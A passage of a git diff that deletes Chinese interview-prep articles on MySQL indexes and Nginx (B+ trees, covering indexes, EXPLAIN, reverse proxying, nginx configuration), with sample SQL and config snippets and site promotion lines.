加间隙锁,锁住行与行之间的间隙,阻塞新插入的操作。 -- 带来的问题:降低并发度,可能导致死锁。 - -## 其它为什么系列 - -### 56、为什么 MySQL 会抖一下? - -- 脏页会被后台线程自动 flush,也会由于数据页淘汰而触发 flush,而刷脏页的过程由于会占用资源,可能会让你的更新和查询语句的响应时间长一些。 - -### 57、为什么删除了表,表文件的大小还是没变? - -- 数据项删除之后 InnoDB 某个页 page A 会被标记为可复用。 -- delete 命令把整个表的数据删除,结果就是,所有的数据页都会被标记为可复用。但是磁盘上,文件不会变小。 -- 经过大量增删改的表,都是可能是存在空洞的。这些空洞也占空间所以,如果能够把这些空洞去掉,就能达到收缩表空间的目的。 -- 重建表,就可以达到这样的目的。可以使用 alter table A engine=InnoDB 命令来重建表。 - -### 58、`count(*)`实现方式以及各种 count 对比 - -- 对于 count(主键 id) 来说,InnoDB 引擎会遍历整张表,把每一行的 id 值都取出来,返回给 server 层。server 层拿到 id 后,判断是不可能为空的,就按行累加。 -- 对于 count(1) 来说,InnoDB 引擎遍历整张表,但不取值。server 层对于返回的每一行,放一个数字“1”进去,判断是不可能为空的,按行累加。 单看这两个用法的差别的话,你能对比出来,count(1) 执行得要比 count(主键 id) 快。因为从引擎返回 id 会涉及到解析数据行,以及拷贝字段值的操作。 -- 对于 count(字段) 来说:如果这个“字段”是定义为 not null 的话,一行行地从记录里面读出这个字段,判断不能为 null,按行累加;如果这个“字段”定义允许为 null,那么执行的时候,判断到有可能是 null,还要把值取出来再判断一下,不是 null 才累加。也就是前面的第一条原则,server 层要什么字段,InnoDB 就返回什么字段。 -- 但是 `count *` 是例外,并不会把全部字段取出来,而是专门做了优化,不取值。`count(*)`肯定不是 null,按行累加。 -- 所以结论是:按照效率排序的话,count(字段)` select count(*) into @C from t; - set @Y1 = floor(@C * rand()); - set @Y2 = floor(@C * rand()); - set @Y3 = floor(@C * rand()); - Ymax = max(Y1,Y2,Y3) - Ymin = min(Y1,Y2,Y3) - select id from t limit Ymin,(Ymax - Ymin) -``` - -> 图文详解 60 道 MySQL 面试高频题,这次吊打面试官,我觉得稳了(手动 dog)。整理:沉默王二,戳[转载链接](https://mp.weixin.qq.com/s/c-sy7tM0BmrqMUQFW7C65g),里面有局详细的思维导图;作者:herongwei,戳[原文链接](https://mp.weixin.qq.com/s/-SqqKmhZcOlQxM-rHiIpKg)。 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - diff --git a/docs/src/interview/mysql-suoyin-15.md b/docs/src/interview/mysql-suoyin-15.md deleted file mode 100644 index c33899d66e..0000000000 --- a/docs/src/interview/mysql-suoyin-15.md +++ /dev/null @@ -1,281 +0,0 @@ ---- -title: MySQL索引15连问,抗住! -shortTitle: MySQL索引15连问,抗住! -description: 大家好,我是田螺。金三银四很快就要来啦,准备了索引的15连问,相信大家看完肯定会有帮助的。 -author: 捡田螺的小男孩 -category: - - 微信公众号 ---- - -## 前言 - -大家好,我是**田螺**。 - -金三银四很快就要来啦,准备了索引的15连问,相信大家看完肯定会有帮助的。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-561417b5-d542-4494-9483-6124a0331a2f.jpg) - -## 1\. 索引是什么? - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-60177b59-879d-4ee9-9425-e13e79a1eac2.jpg) - -* 索引是一种能提高数据库查询效率的数据结构。它可以比作一本字典的目录,可以帮你快速找到对应的记录。 -* 索引一般存储在磁盘的文件中,它是占用物理空间的。 -* 正所谓水能载舟,也能覆舟。适当的索引能提高查询效率,过多的索引会影响数据库表的插入和更新功能。 - -## 2\. MySQL索引有哪些类型 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-7be424ca-9043-4cf4-bd4e-084d2a2ad1aa.jpg) - -**数据结构维度** - -* B+树索引:所有数据存储在叶子节点,复杂度为`O(logn)`,适合范围查询。 -* 哈希索引: 适合等值查询,检索效率高,一次到位。 -* 全文索引:`MyISAM`和`InnoDB`中都支持使用全文索引,一般在文本类型`char,text,varchar`类型上创建。 -* `R-Tree`索引: 用来对`GIS`数据类型创建`SPATIAL`索引 - -**物理存储维度** - -* 聚集索引:聚集索引就是以主键创建的索引,在叶子节点存储的是表中的数据。(`Innodb`存储引擎) -* 非聚集索引:非聚集索引就是以非主键创建的索引,在叶子节点存储的是主键和索引列。(`Innodb`存储引擎) - -**逻辑维度** - -* 主键索引:一种特殊的唯一索引,不允许有空值。 -* 普通索引:`MySQL中`基本索引类型,允许空值和重复值。 -* 联合索引:多个字段创建的索引,使用时遵循最左前缀原则。 -* 唯一索引:索引列中的值必须是唯一的,但是允许为空值。 -* 空间索引:`MySQL5.7`之后支持空间索引,在空间索引这方面遵循`OpenGIS`几何数据模型规则。 - -## 3\. 索引什么时候会失效? - -* 查询条件包含`or`,可能导致索引失效 -* 如果字段类型是字符串,`where`时一定用引号括起来,否则索引失效 -* `like`通配符可能导致索引失效。 -* 联合索引,查询时的条件列不是联合索引中的第一个列,索引失效。 -* 在索引列上使用 mysql 的内置函数,索引失效。 -* 对索引列运算(如,`+、-、*、/`),索引失效。 -* 索引字段上使用`(!= 或者 < >,not in)`时,可能会导致索引失效。 -* 索引字段上使用`is null, is not null`,可能导致索引失效。 -* 左连接查询或者右连接查询查询关联的字段编码格式不一样,可能导致索引失效。 -* mysql 估计使用全表扫描要比使用索引快,则不使用索引。 - -## 4\. 哪些场景不适合建立索引? - -* 数据量少的表,不适合加索引 -* 更新比较频繁的也不适合加索引 -* 区分度低的字段不适合加索引(如性别) -* `where、group by、order by`等后面没有使用到的字段,不需要建立索引 -* 已经有冗余的索引的情况(比如已经有`a,b`的联合索引,不需要再单独建立`a`索引) - -## 5\. 为什么要用 B+树,为什么不用二叉树? - -> 可以从几个维度去看这个问题,查询是否够快,效率是否稳定,存储数据多少, 以及查找磁盘次数,为什么不是二叉树,为什么不是平衡二叉树,为什么不是 B 树,而偏偏是 B+树呢? - -**为什么不是一般二叉树?** - -如果二叉树特殊化为一个链表,相当于全表扫描。平衡二叉树相比于二叉查找 树来说,查找效率更稳定,总体的查找速度也更快。 - -**为什么不是平衡二叉树呢?** - -我们知道,在内存比在磁盘的数据,查询效率快得多。如果树这种数据结构作 为索引,那我们每查找一次数据就需要从磁盘中读取一个节点,也就是我们说 的一个磁盘块,但是平衡二叉树可是每个节点只存储一个键值和数据的,如果 是 B 树,可以存储更多的节点数据,树的高度也会降低,因此读取磁盘的次数 就降下来啦,查询效率就快啦。 - -**那为什么不是 B 树而是 B+树呢?** - -* B+树非叶子节点上是不存储数据的,仅存储键值,而 B 树节点中不仅存储 键值,也会存储数据。innodb 中页的默认大小是 16KB,如果不存储数据,那 么就会存储更多的键值,相应的树的阶数(节点的子节点树)就会更大,树就 会更矮更胖,如此一来我们查找数据进行磁盘的 IO 次数有会再次减少,数据查 询的效率也会更快。 -* B+树索引的所有数据均存储在叶子节点,而且数据是按照顺序排列的,链 表连着的。那么 B+树使得范围查找,排序查找,分组查找以及去重查找变得 异常简单。 - -## 6\. 一次B+树索引树查找过程 - -> 假设有以下表结构,并且初始化了这几条数据 - -``` -CREATE TABLE `employee` ( -  `id` int(11) NOT NULL, -  `name` varchar(255) DEFAULT NULL, -  `age` int(11) DEFAULT NULL, -  `date` datetime DEFAULT NULL, -  `sex` int(1) DEFAULT NULL, -  PRIMARY KEY (`id`), -  KEY `idx_age` (`age`) USING BTREE -) ENGINE=InnoDB DEFAULT CHARSET=utf8; - -insert into employee values(100,'小伦',43,'2021-01-20','0'); -insert into employee values(200,'俊杰',48,'2021-01-21','0'); -insert into employee values(300,'紫琪',36,'2020-01-21','1'); -insert into employee values(400,'立红',32,'2020-01-21','0'); -insert into employee values(500,'易迅',37,'2020-01-21','1'); -insert into employee values(600,'小军',49,'2021-01-21','0'); -insert into employee values(700,'小燕',28,'2021-01-21','1'); -``` - -执行这条查询SQL,需要执行几次的树搜索操作?可以画下对应的索引树结构图~ - -``` -select * from Temployee where age=32; -``` - -其实这个,这个大家可以先画出`idx_age`普通索引的索引结构图,大概如下: - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-baca02c4-1ed6-421f-9ad4-e3e63dd58efa.jpg) - -再画出`id`主键索引,我们先画出聚族索引结构图,如下: - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-8bf752f5-772b-4308-b51c-d06406428866.jpg) - -这条 SQL 查询语句执行大概流程是这样的: - -* 搜索`idx_age` 索引树,将`磁盘块1`加载到内存,由于`32<43`,搜索左路分支,到磁盘寻址`磁盘块2`。 -* 将`磁盘块2`加载到内存中,由于`32<36`,搜索左路分支,到磁盘寻址`磁盘块4`。 -* 将`磁盘块4`加载到内存中,在内存继续遍历,找到`age=32`的记录,取得`id = 400`. -* 拿到`id=400`后,回到`id主键索引树`。 -* 搜索`id主键索引树`,将`磁盘块1`加载到内存,因为`300<400<500`,所以在选择中间分支,到磁盘寻址`磁盘块3`。 -* 虽然在`磁盘块3`,找到了id=400,但是它不是叶子节点,所以会继续往下找。到磁盘寻址`磁盘块8`。 -* 将`磁盘块8`加载内存,在内存遍历,找到`id=400`的记录,拿到`R4`这一行的数据,好的,大功告成。 - -## 7\. 什么是回表?如何减少回表? - -当查询的数据在索引树中,找不到的时候,需要回到**主键索引树**中去获取,这个过程叫做**回表**。 - -比如在**第6**小节中,使用的查询SQL - -``` -select * from Temployee where age=32; -``` - -需要查询所有列的数据,`idx_age`普通索引不能满足,需要拿到主键id的值后,再回到`id`主键索引查找获取,这个过程就是回表。 - -## 8\. 什么是覆盖索引? - -如果我们查询SQL的`select *` 修改为 `select id, age`的话,其实是**不需要回表**的。因为`id`和`age`的值,都在`idx_age`索引树的叶子节点上,这就涉及到覆盖索引的知识点了。 - -> 覆盖索引是`select`的数据列只用从索引中就能够取得,不必回表,换句话说,查询列要被所建的索引覆盖。 - -## 9\. 聊聊索引的最左前缀原则 - -索引的最左前缀原则,可以是**联合索引的最左N个字段**。比如你建立一个组合索引`(a,b,c)`,其实可以相当于建了`(a),(a,b),(a,b,c)`三个索引,大大提高了索引复用能力。 - -当然,最左前缀也可以是**字符串索引的最左M个字符。**。比如,你的普通索引树是酱紫: - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-65c3f954-df70-439b-b0e1-1009007d6560.jpg) - -这个SQL: `select * from employee where name like '小%' order by age desc;` 也是命中索引的。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-3c751d80-02df-43cf-acc7-aafdb409811b.jpg) - -## 10\. 索引下推了解过吗?什么是索引下推 - -给你这个SQL: - -``` -select * from employee where name like '小%' and age=28 and sex='0'; -``` - -其中,`name`和`age`为联合索引(`idx_name_age`)。 - -如果是**Mysql5.6之前**,在`idx_name_age`索引树,找出所有名字第一个字是`“小”`的人,拿到它们的`主键id`,然后回表找出数据行,再去对比年龄和性别等其他字段。如图: - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-b5ccdd0e-f299-49ac-9176-8e2c475f606f.jpg) - -有些朋友可能觉得奇怪,`idx_name_age(name,age)`不是联合索引嘛?为什么选出包含`“小”`字后,不再顺便看下年龄`age`再回表呢,不是更高效嘛?所以呀,`MySQL 5.6`就引入了**索引下推优化**,可以在索引遍历过程中,对索引中包含的字段先做判断,直接过滤掉不满足条件的记录,减少回表次数。 - -因此,MySQL5.6版本之后,选出包含`“小”`字后,顺表过滤`age=28` - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-4b37d45c-b5a2-4ff7-8125-ccd1e89eed42.jpg) - -## 11\. 大表如何添加索引 - -如果一张表数据量级是千万级别以上的,那么,如何给这张表添加索引? - -我们需要知道一点,**给表添加索引的时候**,**是会对表加锁的**。如果不谨慎操作,有可能出现生产事故的。可以参考以下方法: - -1. 先创建一张跟原表`A`数据结构相同的新表`B`。 -2. 在新表`B`添加需要加上的新索引。 -3. 把原表`A`数据导到新表`B` -4. `rename`新表`B`为原表的表名`A`,原表`A`换别的表名; - -## 12\. 如何知道语句是否走索引查询? - -`explain`查看SQL的执行计划,**这样就知道是否命中索引了**。 - -当`explain`与`SQL`一起使用时,MySQL将显示来自优化器的有关语句执行计划的信息。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-mysqlsylwkz-1a294975-c9dd-4077-95fc-2a972911a3ab.jpg) - -一般来说,我们需要重点关注`type、rows、filtered、extra、key`。 - -### 1.2.1 type - -type表示**连接类型**,查看索引执行情况的一个重要指标。以下性能从好到坏依次:`system > const > eq_ref > ref > ref_or_null > index_merge > unique_subquery > index_subquery > range > index > ALL` - -* system:这种类型要求数据库表中只有一条数据,是`const`类型的一个特例,一般情况下是不会出现的。 -* const:通过一次索引就能找到数据,一般用于主键或唯一索引作为条件,这类扫描效率极高,,速度非常快。 -* eq\_ref:常用于主键或唯一索引扫描,一般指使用主键的关联查询 -* ref : 常用于非主键和唯一索引扫描。 -* ref\_or\_null:这种连接类型类似于`ref`,区别在于`MySQL`会额外搜索包含`NULL`值的行 -* index\_merge:使用了索引合并优化方法,查询使用了两个以上的索引。 -* unique\_subquery:类似于`eq_ref`,条件用了`in`子查询 -* index\_subquery:区别于`unique_subquery`,用于非唯一索引,可以返回重复值。 -* range:常用于范围查询,比如:between ... and 或 In 等操作 -* index:全索引扫描 -* ALL:全表扫描 - -### 1.2.2 rows - -该列表示MySQL估算要找到我们所需的记录,需要读取的行数。对于InnoDB表,此数字是估计值,并非一定是个准确值。 - -### 1.2.3 filtered - -该列是一个百分比的值,表里符合条件的记录数的百分比。简单点说,这个字段表示存储引擎返回的数据在经过过滤后,剩下满足条件的记录数量的比例。 - -### 1.2.4 extra - -该字段包含有关MySQL如何解析查询的其他信息,它一般会出现这几个值: - -* Using filesort:表示按文件排序,一般是在指定的排序和索引排序不一致的情况才会出现。一般见于order by语句 -* Using index :表示是否用了覆盖索引。 -* Using temporary: 表示是否使用了临时表,性能特别差,需要重点优化。一般多见于group by语句,或者union语句。 -* Using where : 表示使用了where条件过滤. -* Using index condition:MySQL5.6之后新增的索引下推。在存储引擎层进行数据过滤,而不是在服务层过滤,利用索引现有的数据减少回表的数据。 - -#### 1.2.5 key - -该列表示**实际用到的索引**。一般配合`possible_keys`列一起看。 - -## 13.Hash 索引和 B+树区别是什么?你在设计索引是怎么抉择的? - -* B+树可以进行范围查询,Hash 索引不能。 -* B+树支持联合索引的最左侧原则,Hash 索引不支持。 -* B+树支持 order by 排序,Hash 索引不支持。 -* Hash 索引在等值查询上比 B+树效率更高。(但是索引列的重复值很多的话,Hash冲突,效率降低)。 -* B+树使用 like 进行模糊查询的时候,like 后面(比如%开头)的话可以起到优化的作用,Hash 索引根本无法进行模糊查询。 - -## 14\.  索引有哪些优缺点? - -**优点:** - -* 索引可以加快数据查询速度,减少查询时间 -* 唯一索引可以保证数据库表中每一行的数据的唯一性 - -**缺点:** - -* 创建索引和维护索引要耗费时间 -* 索引需要占物理空间,除了数据表占用数据空间之外,每一个索引还要占用一定的物理空间 -* 以表中的数据进行增、删、改的时候,索引也要动态的维护。 - -## 15\. 聚簇索引与非聚簇索引的区别 - -聚簇索引并不是一种单独的索引类型,而是一种**数据存储方式**。它表示索引结构和数据一起存放的索引。非聚集索引是**索引结构和数据分开存放的索引**。 - -接下来,我们分不同存存储引擎去聊哈~ - -在`MySQL`的`InnoDB`存储引擎中, 聚簇索引与非聚簇索引最大的区别,在于叶节点是否存放一整行记录。聚簇索引叶子节点存储了一整行记录,而非聚簇索引叶子节点存储的是主键信息,**因此,一般非聚簇索引还需要回表查询。** - -* 一个表中只能拥有一个聚集索引(因为一般聚簇索引就是**主键索引**),而非聚集索引一个表则可以存在多个。 -* 一般来说,相对于非聚簇索引,聚簇索引查询效率更高,因为不用回表。 - -而在`MyISM`存储引擎中,它的主键索引,普通索引都是非聚簇索引,因为数据和索引是分开的,叶子节点都使用**一个地址指向真正的表数据**。 - -给个赞支持一下,谢谢啦~ - ->参考链接:[https://mp.weixin.qq.com/s?__biz=Mzg3NzU5NTIwNg==&mid=2247503690&idx=1&sn=73655f41a98f21217468115888aeeceb&chksm=cf221063f855997590d48e605ac3cadbad14f4e91b71acf471a520a9ed9be2a9f2e2c5b64450#rd](https://mp.weixin.qq.com/s?__biz=Mzg3NzU5NTIwNg==&mid=2247503690&idx=1&sn=73655f41a98f21217468115888aeeceb&chksm=cf221063f855997590d48e605ac3cadbad14f4e91b71acf471a520a9ed9be2a9f2e2c5b64450#rd),出处:捡田螺的小男孩,整理:沉默王二 diff --git a/docs/src/interview/nginx-40.md b/docs/src/interview/nginx-40.md deleted file mode 100644 index f901061d95..0000000000 --- a/docs/src/interview/nginx-40.md +++ /dev/null @@ -1,804 +0,0 @@ ---- -title: 40 道 Nginx 精选面试题👍 -shortTitle: 40 道 Nginx 精选面试题👍 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,40 道 Nginx 精选面试题👍 -head: - - - meta - - name: keywords - content: Nginx,nginx,面试题,八股文 ---- - - -大家好,我是二哥呀!那天,我徒弟小二偷偷摸摸跑去了一家公司面试,结果回来给我说在 Nginx 上跪了,问我该怎么办? - -我先是毫不留情地批评了他,怎么能背着领导去面试呢?不过,看着小二难过的表情,我还是于心不忍,于是给他整理了 40 道 Nginx 的面试题,希望能帮他一把。 - -* 什么是Nginx? -* Nginx 有哪些优点? -* Nginx应用场景? -* Nginx怎么处理请求的? -* Nginx 是如何实现高并发的? -* 什么是正向代理? -* 什么是反向代理? -* 反向代理服务器的优点是什么? -* Nginx目录结构有哪些? -* Nginx配置文件nginx.conf有哪些属性模块? -* cookie和session区别? -* 为什么 Nginx 不使用多线程? -* nginx和apache的区别 -* 什么是动态资源、静态资源分离? -* 为什么要做动、静分离? -* 什么叫 CDN 服务? -* Nginx怎么做的动静分离? -* Nginx负载均衡的算法怎么实现的?策略有哪些? -* 如何用Nginx解决前端跨域问题? -* Nginx虚拟主机怎么配置? -* location的作用是什么? -* 限流怎么做的? -* 漏桶流算法和令牌桶算法知道? -* Nginx配置高可用性怎么配置? -* Nginx怎么判断别IP不可访问? -* 在nginx中,如何使用未定义的服务器名称来阻止处理请求? -* 怎么限制浏览器访问? -* Rewrite全局变量是什么? -* Nginx 如何实现后端服务的健康检查? -* Nginx 如何开启压缩? -* ngx_http_upstream_module的作用是什么? -* 什么是C10K问题? -* Nginx是否支持将请求压缩到上游? -* 如何在Nginx中获得当前的时间? -* 用Nginx服务器解释-s的目的是什么? -* 如何在Nginx服务器上添加模块? -* 生产中如何设置worker进程的数量呢? -* nginx状态码 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nginx/40-interview-63553177-7359-4f68-8673-5b44285cb701.png) - - - - -* * * - -## 什么是Nginx? - -Nginx是一个 轻量级/高性能的反向代理Web服务器,用于 HTTP、HTTPS、SMTP、POP3 和 IMAP 协议。他实现非常高效的反向代理、负载平衡,他可以处理2-3万并发连接数,官方监测能支持5万并发,现在中国使用nginx网站用户有很多,例如:新浪、网易、 腾讯等。 - -## Nginx 有哪些优点? - -* 跨平台、配置简单。 -* 非阻塞、高并发连接:处理 2-3 万并发连接数,官方监测能支持 5 万并发。 -* 内存消耗小:开启 10 个 Nginx 才占 150M 内存。 -* 成本低廉,且开源。 -* 稳定性高,宕机的概率非常小。 -* 内置的健康检查功能:如果有一个服务器宕机,会做一个健康检查,再发送的请求就不会发送到宕机的服务器了。重新将请求提交到其他的节点上 - -## Nginx应用场景? - -* http服务器。Nginx是一个http服务可以独立提供http服务。可以做网页静态服务器。 -* 虚拟主机。可以实现在一台服务器虚拟出多个网站,例如个人网站使用的虚拟机。 -* 反向代理,负载均衡。当网站的访问量达到一定程度后,单台服务器不能满足用户的请求时,需要用多台服务器集群可以使用nginx做反向代理。并且多台服务器可以平均分担负载,不会应为某台服务器负载高宕机而某台服务器闲置的情况。 -* nginz 中也可以配置安全管理、比如可以使用Nginx搭建API接口网关,对每个接口服务进行拦截。 - -## Nginx怎么处理请求的? - -``` -server { # 第一个Server区块开始,表示一个独立的虚拟主机站点 - listen 80; # 提供服务的端口,默认80 - server_name localhost; # 提供服务的域名主机名 - location / { # 第一个location区块开始 - root html; # 站点的根目录,相当于Nginx的安装目录 - index index.html index.html; # 默认的首页文件,多个用空格分开 -} # 第一个location区块结果 -``` - -* 首先,Nginx 在启动时,会解析配置文件,得到需要监听的端口与 IP 地址,然后在 Nginx 的 Master 进程里面先初始化好这个监控的Socket(创建 S ocket,设置 addr、reuse 等选项,绑定到指定的 ip 地址端口,再 listen 监听)。 -* 然后,再 fork(一个现有进程可以调用 fork 函数创建一个新进程。由 fork 创建的新进程被称为子进程 )出多个子进程出来。 -* 之后,子进程会竞争 accept 新的连接。此时,客户端就可以向 nginx 发起连接了。当客户端与nginx进行三次握手,与 nginx 建立好一个连接后。此时,某一个子进程会 accept 成功,得到这个建立好的连接的 Socket ,然后创建 nginx 对连接的封装,即 ngx_connection_t 结构体。 -* 接着,设置读写事件处理函数,并添加读写事件来与客户端进行数据的交换。 -* 最后,Nginx 或客户端来主动关掉连接,到此,一个连接就寿终正寝了。 - -## Nginx 是如何实现高并发的? - -如果一个 server 采用一个进程(或者线程)负责一个request的方式,那么进程数就是并发数。那么显而易见的,就是会有很多进程在等待中。等什么?最多的应该是等待网络传输。 - -而 Nginx 的异步非阻塞工作方式正是利用了这点等待的时间。在需要等待的时候,这些进程就空闲出来待命了。因此表现为少数几个进程就解决了大量的并发问题。 - -Nginx是如何利用的呢,简单来说:同样的 4 个进程,如果采用一个进程负责一个 request 的方式,那么,同时进来 4 个 request 之后,每个进程就负责其中一个,直至会话关闭。期间,如果有第 5 个request进来了。就无法及时反应了,因为 4 个进程都没干完活呢,因此,一般有个调度进程,每当新进来了一个 request ,就新开个进程来处理。 - -**回想下,BIO 是不是存在酱紫的问题?** - -Nginx 不这样,每进来一个 request ,会有一个 worker 进程去处理。但不是全程的处理,处理到什么程度呢?处理到可能发生阻塞的地方,比如向上游(后端)服务器转发 request ,并等待请求返回。那么,这个处理的 worker 不会这么傻等着,他会在发送完请求后,注册一个事件:“如果 upstream 返回了,告诉我一声,我再接着干”。于是他就休息去了。此时,如果再有 request 进来,他就可以很快再按这种方式处理。而一旦上游服务器返回了,就会触发这个事件,worker 才会来接手,这个 request 才会接着往下走。 - -这就是为什么说,Nginx 基于事件模型。 - -由于 web server 的工作性质决定了每个 request 的大部份生命都是在网络传输中,实际上花费在 server 机器上的时间片不多。这是几个进程就解决高并发的秘密所在。即: - -webserver 刚好属于网络 IO 密集型应用,不算是计算密集型。 - -异步,非阻塞,使用 epoll ,和大量细节处的优化。也正是 Nginx 之所以然的技术基石。 - -## 什么是正向代理? - -一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。 - -客户端才能使用正向代理。正向代理总结就一句话:代理端代理的是客户端。例如说:我们使用的OpenVPN 等等。 - -## 什么是反向代理? - -反向代理(Reverse Proxy)方式,是指以代理服务器来接受 Internet上的连接请求,然后将请求,发给内部网络上的服务器并将从服务器上得到的结果返回给 Internet 上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。 - -> 反向代理总结就一句话:代理端代理的是服务端。 - -## 反向代理服务器的优点是什么? - -反向代理服务器可以隐藏源服务器的存在和特征。它充当互联网云和web服务器之间的中间层。这对于安全方面来说是很好的,特别是当您使用web托管服务时。 - -## Nginx目录结构有哪些? - -```  -tree /usr/local/nginx -/usr/local/nginx -├── client_body_temp -├── conf                             # Nginx所有配置文件的目录 -│   ├── fastcgi.conf                 # fastcgi相关参数的配置文件 -│   ├── fastcgi.conf.default         # fastcgi.conf的原始备份文件 -│   ├── fastcgi_params               # fastcgi的参数文件 -│   ├── fastcgi_params.default        -│   ├── koi-utf -│   ├── koi-win -│   ├── mime.types                   # 媒体类型 -│   ├── mime.types.default -│   ├── nginx.conf                   # Nginx主配置文件 -│   ├── nginx.conf.default -│   ├── scgi_params                  # scgi相关参数文件 -│   ├── scgi_params.default   -│   ├── uwsgi_params                 # uwsgi相关参数文件 -│   ├── uwsgi_params.default -│   └── win-utf -├── fastcgi_temp                     # fastcgi临时数据目录 -├── html                             # Nginx默认站点目录 -│   ├── 50x.html                     # 错误页面优雅替代显示文件,例如当出现502错误时会调用此页面 -│   └── index.html                   # 默认的首页文件 -├── logs                             # Nginx日志目录 -│   ├── access.log                   # 访问日志文件 -│   ├── error.log                    # 错误日志文件 -│   └── nginx.pid                    # pid文件,Nginx进程启动后,会把所有进程的ID号写到此文件 -├── proxy_temp                       # 临时目录 -├── sbin                             # Nginx命令目录 -│   └── nginx                        # Nginx的启动命令 -├── scgi_temp                        # 临时目录 -└── uwsgi_temp                       # 临时目录 -``` - -## Nginx配置文件nginx.conf有哪些属性模块? - -``` -worker_processes 1; # worker进程的数量 -events { # 事件区块开始 - worker_connections 1024; # 每个worker进程支持的最大连接数 -} # 事件区块结束 -http { # HTTP区块开始 - include mime.types; # Nginx支持的媒体类型库文件 - default_type application/octet-stream; # 默认的媒体类型 - sendfile on; # 开启高效传输模式 - keepalive_timeout 65; # 连接超时 - server { # 第一个Server区块开始,表示一个独立的虚拟主机站点 - listen 80; # 提供服务的端口,默认80 - server_name localhost; # 提供服务的域名主机名 - location / { # 第一个location区块开始 - root html; # 站点的根目录,相当于Nginx的安装目录 - index index.html index.htm; # 默认的首页文件,多个用空格分开 - } # 第一个location区块结果 - error_page 500502503504 /50x.html; # 出现对应的http状态码时,使用50x.html回应客户 - location = /50x.html { # location区块开始,访问50x.html - root html; # 指定对应的站点目录为html - } - } - ...... -``` - -## cookie和session区别? - -#### 共同: - -存放用户信息。存放的形式:key-value格式 变量和变量内容键值对。 - -#### 区别: - -cookie - -* 存放在客户端浏览器 -* 每个域名对应一个cookie,不能跨跃域名访问其他cookie -* 用户可以查看或修改cookie -* http响应报文里面给你浏览器设置 -* 钥匙(用于打开浏览器上锁头) - -session: - -* 存放在服务器(文件,数据库,redis) -* 存放敏感信息 -* 锁头 - -## 为什么 Nginx 不使用多线程? - -**Apache:** 创建多个进程或线程,而每个进程或线程都会为其分配 cpu 和内存(线程要比进程小的多,所以 worker 支持比 perfork 高的并发),并发过大会榨干服务器资源。 - -**Nginx:** 采用单线程来异步非阻塞处理请求(管理员可以配置 Nginx 主进程的工作进程的数量)(epoll),不会为每个请求分配 cpu 和内存资源,节省了大量资源,同时也减少了大量的 CPU 的上下文切换。所以才使得 Nginx 支持更高的并发。 - -## nginx和apache的区别 - -轻量级,同样起web服务,比apache占用更少的内存和资源。 - -抗并发,nginx处理请求是异步非阻塞的,而apache则是阻塞性的,在高并发下nginx能保持低资源,低消耗高性能。 - -高度模块化的设计,编写模块相对简单。 - -最核心的区别在于apache是同步多进程模型,一个连接对应一个进程,nginx是异步的,多个连接可以对应一个进程。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nginx/40-interview-8cd652f4-5a93-4e12-a020-0d90b9379bf2.png) - - -## 什么是动态资源、静态资源分离? - -动态资源、静态资源分离,是让动态网站里的动态网页根据一定规则把不变的资源和经常变的资源区分开来,动静资源做好了拆分以后我们就可以根据静态资源的特点将其做缓存操作,这就是网站静态化处理的核心思路。 - -动态资源、静态资源分离简单的概括是:动态文件与静态文件的分离。 - -## 为什么要做动、静分离? - -在我们的软件开发中,有些请求是需要后台处理的(如:.jsp,.do 等等),有些请求是不需要经过后台处理的(如:css、html、jpg、js 等等文件),这些不需要经过后台处理的文件称为静态文件,否则动态文件。 - -因此我们后台处理忽略静态文件。这会有人又说那我后台忽略静态文件不就完了吗?当然这是可以的,但是这样后台的请求次数就明显增多了。在我们对资源的响应速度有要求的时候,我们应该使用这种动静分离的策略去解决动、静分离将网站静态资源(HTML,JavaScript,CSS,img等文件)与后台应用分开部署,提高用户访问静态代码的速度,降低对后台应用访问 - -这里我们将静态资源放到 Nginx 中,动态资源转发到 Tomcat 服务器中去。 - -当然,因为现在七牛、阿里云等 CDN 服务已经很成熟,主流的做法,是把静态资源缓存到 CDN 服务中,从而提升访问速度。 - -相比本地的 Nginx 来说,CDN 服务器由于在国内有更多的节点,可以实现用户的就近访问。并且,CDN 服务可以提供更大的带宽,不像我们自己的应用服务,提供的带宽是有限的。 - -## 什么叫 CDN 服务? - -CDN ,即内容分发网络。 - -其目的是,通过在现有的 Internet中 增加一层新的网络架构,将网站的内容发布到最接近用户的网络边缘,使用户可就近取得所需的内容,提高用户访问网站的速度。 - -一般来说,因为现在 CDN 服务比较大众,所以基本所有公司都会使用 CDN 服务。 - -## Nginx怎么做的动静分离? - -只需要指定路径对应的目录。location/可以使用正则表达式匹配。并指定对应的硬盘中的目录。如下:(操作都是在Linux上) - -``` -location /image/ { - root /usr/local/static/; - autoindex on; -} -``` - -步骤: - -``` -# 创建目录 -mkdir /usr/local/static/image - -# 进入目录 -cd 